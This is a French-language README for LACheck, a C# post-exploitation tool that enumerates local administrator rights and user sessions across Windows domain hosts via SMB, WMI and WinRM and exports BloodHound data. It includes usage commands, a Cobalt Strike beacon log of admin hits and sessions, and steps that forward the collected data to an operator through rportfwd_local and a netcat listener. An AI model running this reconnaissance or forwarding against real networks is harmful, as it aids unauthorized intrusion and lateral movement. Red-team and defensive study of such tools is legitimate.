
Assembly multithreadé en C# .NET pour énumérer les privilèges administratifs locaux sur les hôtes Windows via SMB, WMI et WinRM, avec intégration BloodHound pour la reconnaissance Active Directory.
Assemblage .NET C# multithreadé pour l'énumération des privilèges administratifs locaux
> ./LACheck.exe help
_ _____ _ _
| | /\ / ____| | | |
| | / \ | | | |__ ___ ___| | __
| | / /\ \ | | | '_ \ / _ \/ __| |/ /
| |____ / ____ \ | |____| | | | __/ (__| <
|______/_/ \_\ \_____|_| |_|\___|\___|_|\_\
Usage:
LACheck.exe smb rpc /targets:hostname,fqdn.domain.tld,10.10.10.10 /ldap:all /ou:"OU=Special Servers,DC=example,DC=local" /verbose /bloodhound /user:[email protected]
Vérifications d'administration locale :
smb - Tente d'accéder au partage C$
rpc - Tente une requête WMI du fournisseur de classe Win32_ComputerSystem via RPC
winrm - Tente une requête WMI du fournisseur de classe Win32_ComputerSystem via une session WinRM
Arguments :
/bloodhound - Génère un fichier de collecte AdminTo et Session compatible BloodHound
le fichier de sortie est zippé et crypté avec un nom et un mot de passe aléatoires
/dc - Spécifie le contrôleur de domaine à interroger (si non exécuté sur une machine jointe au domaine)
/domain - Spécifie le nom de domaine (si non exécuté sur une machine jointe au domaine)
/edr - Vérifie la présence d'un EDR sur la machine (nécessite smb, rpc ou winrm)
/logons - Retourne les utilisateurs connectés sur une machine (nécessite smb, rpc ou winrm)
/registry - Énumère les sessions à partir de la ruche du registre (nécessite smb)
/services - Retourne les services exécutés en tant qu'utilisateurs (nécessite smb, rpc ou winrm)
/socket - Envoie la sortie BloodHound vers un socket TCP au lieu d'écrire sur le disque
ex : "127.0.0.1:8080"
/targets - Liste séparée par des virgules des noms de machines à vérifier
/threads - Spécifie le nombre maximal de threads parallèles (par défaut=25)
/user - Spécifie le nom d'utilisateur sous lequel la collecte a été effectuée (utile lors de manipulation de jetons)
/validate - Vérifie les informations d'identification contre le domaine avant d'analyser les cibles (utile lors de manipulation de jetons)
/verbose - Affiche des informations de journalisation supplémentaires
/ou - Spécifie l'unité d'organisation LDAP pour interroger les objets ordinateur activés
ex : "OU=Special Servers,DC=example,DC=local"
/ldap - Interroge les machines à partir des filtres LDAP suivants :
:all - Tous les ordinateurs activés avec le groupe 'primary' 'Domain Computers'
:dc - Tous les contrôleurs de domaine activés (hors contrôleurs en lecture seule)
:exclude-dc - Tous les ordinateurs activés qui ne sont pas des contrôleurs de domaine ou des contrôleurs en lecture seule
:servers - Tous les serveurs activés
:servers-exclude-dc - Tous les serveurs activés, à l'exclusion des contrôleurs de domaine ou des contrôleurs en lecture seule
execute-assembly /opt/SharpTools/LACheck smb rpc winrm /ldap:servers-exclude-dc /targets:WEB01,DEV02.contoso.com,10.10.10.10 /logons /threads:10 /verbose
[*] Tasked beacon to run .NET program: LACheck smb rpc winrm /ldap:servers-exclude-dc /targets:WEB01,DEV02.contoso.com,10.10.10.10 /logons /threads:10 /verbose
[+] host called home, sent: 111705 bytes
[+] received Output
[+] Parsed Aguments:
rpc: True
smb: True
winrm: True
/bloodhound: False
/edr: False
/logons: True
/registry: False
/services: False
/ldap: servers-exclude-dc
/ou:
/targets:
/threads: 10
/user: svcadmin
/validate: False
/verbose: False
[+] Performing LDAP query for all enabled computers that are not Domain Controllers or read-only DCs...
[+] This may take some time depending on the size of the environment
[+] LDAP Search Results: 2
[SMB] Admin Success: WEB01 as svcadmin
[session] WEB01 - contoso\devadmin (svcadmin)
[session] WEB01 - contoso\devuser (svcadmin)
[session] WEB01 - contoso\WEB01$ (svcadmin)
[session] WEB01 - contoso\devadmin (svcadmin)
[session] WEB01 - contoso\devuser (svcadmin)
[rdp] WEB01 - contoso\devadmin rdp-tcp#2 Active Last Connection: 00:00:50:26 Last Input: 00:00:00:00 (svcadmin)
[session] WEB01 - contoso\devadmin 4/20/2021 11:00:05 AM (svcadmin)
[session] WEB01 - contoso\devuser 4/20/2021 1:40:52 PM (svcadmin)
[session] WEB01 - contoso\WEB01$ 4/20/2021 5:51:43 PM (svcadmin)
[session] WEB01 - contoso\devadmin 4/20/2021 09:54:38 AM (svcadmin)
[session] WEB01 - contoso\devuser 4/20/2021 10:14:32 AM (svcadmin)
[WinRM] Admin Success: DESKTOP-118GDCE as svcadmin
[WinRM] Admin Success: DEV02.contoso.com as svcadmin
[!] RPC on DEV02.contoso.com - Access denied.
[!] SMB on DEV02.contoso.com - Attempted to perform an unauthorized operation.
[RPC] Admin Success: 10.10.10.10 as svcadmin
[!] SMB on 10.10.10.10 - Attempted to perform an unauthorized operation.
[!] WinRM on 10.10.10.10 - The WinRM client cannot process the request. Default authentication may be used with an IP address under the following conditions: the transport is HTTPS or the destination is in the TrustedHosts list, and explicit credentials are provided. Use winrm.cmd to configure TrustedHosts. Note that computers in the TrustedHosts list might not be authenticated. For more information on how to set TrustedHosts run the following command: winrm help config.
Comme le montre l'exemple de sortie ci-dessus, tenter de vérifier WinRM sur la machine à l'adresse IP 10.10.10.10 générera une erreur car le client WinRM ne tente pas de s'authentifier auprès d'une machine via une adresse IP.
Utilisez des noms de machine lorsque vous tentez de vérifier l'accès WinRM.
Les indicateurs /targets, /ldap et /ou peuvent tous être utilisés ensemble ou séparément pour générer une liste de machines à énumérer.
Toutes les machines retournées par ces indicateurs sont combinées et dédoublonnées avant le début de l'énumération.
LACheck prend en charge l'écriture des collectes AdminTo et Session dans une sortie JSON qui peut être téléchargée dans BloodHound.
Cette sortie est uniquement destinée à compléter une collecte BloodHound existante avec des privilèges administratifs mis à jour pour un seul utilisateur et des sessions collectées à partir de machines pour lesquelles des privilèges administratifs ont été identifiés.
Le commutateur /bloodhound écrira un fichier zip crypté nommé aléatoirement sur le disque, qui peut être téléchargé, extrait et téléchargé dans BloodHound.
BloodHound nécessite de résoudre les utilisateurs et les machines en SID. En raison de techniques d'usurpation telles que make_token et kerberos_ticket_use de Cobalt Strike, LACheck peut ne pas être en mesure de déterminer avec précision le contexte utilisateur pour une collecte. L'argument /user est requis pour fournir à LACheck le userprincipalname (format = [email protected]) du contexte sous lequel il est exécuté afin de corréler avec précision les informations de la collecte.
La sortie BloodHound peut être envoyée vers un socket TCP au lieu d'être écrite sur le disque.
Si la connexion TCP échoue, la sortie BloodHound sera écrite sur le disque.
Dans une sonde Cobalt Strike, les connexions TCP peuvent être transférées d'une machine vers la machine locale de l'opérateur à l'aide de rportfwd_local :
rportfwd_local 8888 127.0.0.1 8888
Un opérateur peut ensuite rediriger la sortie du flux TCP vers un fichier local en utilisant netcat :
nc -lvnp 8888 > computers.json